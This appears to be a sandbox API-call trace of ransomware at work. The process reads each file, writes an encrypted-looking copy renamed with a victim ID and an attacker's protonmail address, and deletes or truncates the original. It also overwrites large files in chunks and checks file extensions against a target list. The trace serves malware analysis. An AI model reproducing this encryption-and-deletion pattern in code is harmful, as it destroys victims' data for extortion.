	[0066.292] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0066.292] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=96088) returned 1
	[0066.292] CloseHandle (hObject=0x350) returned 1
	[0066.292] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80
	[0066.292] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0066.293] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.293] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0066.293] GetLastError () returned 0x0
	[0066.293] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x17758, lpOverlapped=0x0) returned 1
	[0066.963] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x17760, lpOverlapped=0x0) returned 1
	[0066.965] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.965] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0066.965] SetEndOfFile (hFile=0x34c) returned 1
	[0066.966] CloseHandle (hObject=0x34c) returned 1
	[0066.968] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.968] SetEndOfFile (hFile=0x350) returned 1
	[0066.970] CloseHandle (hObject=0x350) returned 1
	[0066.970] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0066.970] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1
	[0066.970] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0066.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0066.971] lstrlenW (lpString=".doc") returned 4
	[0066.971] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0066.971] lstrlenW (lpString=".docx") returned 5
	[0066.971] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0066.971] lstrlenW (lpString=".pdf") returned 4
	[0066.971] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0066.971] lstrlenW (lpString=".xls") returned 4
	[0066.971] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0066.971] lstrlenW (lpString=".xlsx") returned 5
	[0066.971] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0066.971] lstrlenW (lpString=".ppt") returned 4
	[0066.971] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0066.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0066.971] lstrlenW (lpString=".zip") returned 4
	[0066.971] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0066.971] lstrlenW (lpString=".rar") returned 4
	[0066.971] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0066.971] lstrlenW (lpString=".bz2") returned 4
	[0066.971] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0066.971] lstrlenW (lpString=".7z") returned 3
	[0066.971] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0066.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0066.971] lstrlenW (lpString=".dbf") returned 4
	[0066.971] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0066.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0066.971] lstrlenW (lpString=".1cd") returned 4
	[0066.971] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0066.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0066.971] lstrlenW (lpString=".jpg") returned 4
	[0066.971] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0066.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0066.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0066.972] lstrlenW (lpString=".doc") returned 4
	[0066.972] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0066.972] lstrlenW (lpString=".docx") returned 5
	[0066.972] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0066.972] lstrlenW (lpString=".pdf") returned 4
	[0066.972] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0066.972] lstrlenW (lpString=".xls") returned 4
	[0066.972] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0066.972] lstrlenW (lpString=".xlsx") returned 5
	[0066.972] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0066.972] lstrlenW (lpString=".ppt") returned 4
	[0066.972] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0066.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0066.972] lstrlenW (lpString=".zip") returned 4
	[0066.972] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0066.972] lstrlenW (lpString=".rar") returned 4
	[0066.972] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0066.972] lstrlenW (lpString=".bz2") returned 4
	[0066.972] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0066.972] lstrlenW (lpString=".7z") returned 3
	[0066.972] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0066.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0066.972] lstrlenW (lpString=".dbf") returned 4
	[0066.972] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0066.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0066.972] lstrlenW (lpString=".1cd") returned 4
	[0066.972] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0066.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0066.972] lstrlenW (lpString=".jpg") returned 4
	[0066.972] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0066.973] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0066.973] lstrlenW (lpString="sqmapi.dll") returned 10
	[0066.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0066.973] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=144416) returned 1
	[0066.973] CloseHandle (hObject=0x350) returned 1
	[0066.973] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80
	[0066.973] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0066.973] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.973] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0066.974] GetLastError () returned 0x0
	[0066.974] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x23420, lpOverlapped=0x0) returned 1
	[0066.979] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x23430, lpOverlapped=0x0) returned 1
	[0066.982] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.982] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0066.982] SetEndOfFile (hFile=0x34c) returned 1
	[0066.982] CloseHandle (hObject=0x34c) returned 1
	[0066.986] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.986] SetEndOfFile (hFile=0x350) returned 1
	[0066.988] CloseHandle (hObject=0x350) returned 1
	[0066.988] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0066.988] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1
	[0066.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0066.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0066.989] lstrlenW (lpString=".doc") returned 4
	[0066.989] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0066.989] lstrlenW (lpString=".docx") returned 5
	[0066.989] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0066.989] lstrlenW (lpString=".pdf") returned 4
	[0066.989] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0066.989] lstrlenW (lpString=".xls") returned 4
	[0066.989] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0066.989] lstrlenW (lpString=".xlsx") returned 5
	[0066.989] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0066.989] lstrlenW (lpString=".ppt") returned 4
	[0066.989] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0066.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0066.989] lstrlenW (lpString=".zip") returned 4
	[0066.989] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0066.989] lstrlenW (lpString=".rar") returned 4
	[0066.989] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0066.989] lstrlenW (lpString=".bz2") returned 4
	[0066.989] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0066.989] lstrlenW (lpString=".7z") returned 3
	[0066.989] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0066.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0066.989] lstrlenW (lpString=".dbf") returned 4
	[0066.989] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0066.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0066.989] lstrlenW (lpString=".1cd") returned 4
	[0066.989] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0066.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0066.989] lstrlenW (lpString=".jpg") returned 4
	[0066.989] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0066.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0066.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0066.990] lstrlenW (lpString=".doc") returned 4
	[0066.990] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0066.990] lstrlenW (lpString=".docx") returned 5
	[0066.990] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0066.990] lstrlenW (lpString=".pdf") returned 4
	[0066.990] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0066.990] lstrlenW (lpString=".xls") returned 4
	[0066.990] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0066.990] lstrlenW (lpString=".xlsx") returned 5
	[0066.990] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0066.990] lstrlenW (lpString=".ppt") returned 4
	[0066.990] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0066.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0066.990] lstrlenW (lpString=".zip") returned 4
	[0066.990] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0066.990] lstrlenW (lpString=".rar") returned 4
	[0066.990] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0066.990] lstrlenW (lpString=".bz2") returned 4
	[0066.990] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0066.990] lstrlenW (lpString=".7z") returned 3
	[0066.990] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0066.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0066.990] lstrlenW (lpString=".dbf") returned 4
	[0066.990] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0066.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0066.990] lstrlenW (lpString=".1cd") returned 4
	[0066.990] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0066.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0066.990] lstrlenW (lpString=".jpg") returned 4
	[0066.990] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0066.991] lstrcmpiW (lpString1=".msu", lpString2=".html") returned 1
	[0066.991] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33
	[0066.991] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0066.993] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=5198099) returned 1
	[0066.993] CloseHandle (hObject=0x350) returned 1
	[0066.993] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80
	[0066.993] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.993] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0066.993] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0066.993] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fc64 | out: lpNewFilePointer=0x0) returned 1
	[0066.994] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fc24 | out: lpNewFilePointer=0x0) returned 1
	[0066.994] ReadFile (in: hFile=0x350, lpBuffer=0x38a7058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x259fc30, lpOverlapped=0x0 | out: lpBuffer=0x38a7058*, lpNumberOfBytesRead=0x259fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0067.483] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x259fc24 | out: lpNewFilePointer=0x0) returned 1
	[0067.483] ReadFile (in: hFile=0x350, lpBuffer=0x38e7058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x259fc30, lpOverlapped=0x0 | out: lpBuffer=0x38e7058*, lpNumberOfBytesRead=0x259fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0067.488] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x259fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0067.488] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x259fc24 | out: lpNewFilePointer=0x0) returned 1
	[0067.488] ReadFile (in: hFile=0x350, lpBuffer=0x3927058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x259fc30, lpOverlapped=0x0 | out: lpBuffer=0x3927058*, lpNumberOfBytesRead=0x259fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0067.504] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.504] WriteFile (in: hFile=0x350, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x259fca8, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0068.050] SetEndOfFile (hFile=0x350) returned 1
	[0068.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x439e640
	[0068.056] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fc74 | out: lpNewFilePointer=0x0) returned 1
	[0068.056] WriteFile (in: hFile=0x350, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x259fc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x259fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0068.057] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x259fc74 | out: lpNewFilePointer=0x0) returned 1
	[0068.057] WriteFile (in: hFile=0x350, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x259fc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x259fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0068.059] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x259fc74 | out: lpNewFilePointer=0x0) returned 1
	[0068.059] WriteFile (in: hFile=0x350, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x259fc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x259fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0068.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0068.063] CloseHandle (hObject=0x350) returned 1
	[0071.224] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0071.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0071.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0071.254] lstrlenW (lpString=".doc") returned 4
	[0071.254] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0071.254] lstrlenW (lpString=".docx") returned 5
	[0071.254] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0071.255] lstrlenW (lpString=".pdf") returned 4
	[0071.255] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0071.255] lstrlenW (lpString=".xls") returned 4
	[0071.255] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0071.255] lstrlenW (lpString=".xlsx") returned 5
	[0071.255] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0071.255] lstrlenW (lpString=".ppt") returned 4
	[0071.255] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0071.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0071.255] lstrlenW (lpString=".zip") returned 4
	[0071.255] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0071.255] lstrlenW (lpString=".rar") returned 4
	[0071.255] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0071.255] lstrlenW (lpString=".bz2") returned 4
	[0071.255] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0071.255] lstrlenW (lpString=".7z") returned 3
	[0071.255] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0071.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0071.255] lstrlenW (lpString=".dbf") returned 4
	[0071.255] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0071.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0071.255] lstrlenW (lpString=".1cd") returned 4
	[0071.255] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0071.255] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0071.255] lstrlenW (lpString=".jpg") returned 4
	[0071.255] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0071.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0071.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0071.256] lstrlenW (lpString=".doc") returned 4
	[0071.256] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0071.256] lstrlenW (lpString=".docx") returned 5
	[0071.256] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0071.256] lstrlenW (lpString=".pdf") returned 4
	[0071.256] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0071.256] lstrlenW (lpString=".xls") returned 4
	[0071.256] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0071.256] lstrlenW (lpString=".xlsx") returned 5
	[0071.256] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0071.256] lstrlenW (lpString=".ppt") returned 4
	[0071.256] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0071.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0071.256] lstrlenW (lpString=".zip") returned 4
	[0071.256] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0071.256] lstrlenW (lpString=".rar") returned 4
	[0071.256] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0071.256] lstrlenW (lpString=".bz2") returned 4
	[0071.256] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0071.256] lstrlenW (lpString=".7z") returned 3
	[0071.256] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0071.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0071.256] lstrlenW (lpString=".dbf") returned 4
	[0071.256] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0071.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0071.256] lstrlenW (lpString=".1cd") returned 4
	[0071.257] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0071.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0071.257] lstrlenW (lpString=".jpg") returned 4
	[0071.257] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0071.257] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0071.257] lstrlenW (lpString="meiryo_boot.ttf") returned 15
	[0071.257] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0071.534] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=145419) returned 1
	[0071.534] CloseHandle (hObject=0x2c0) returned 1
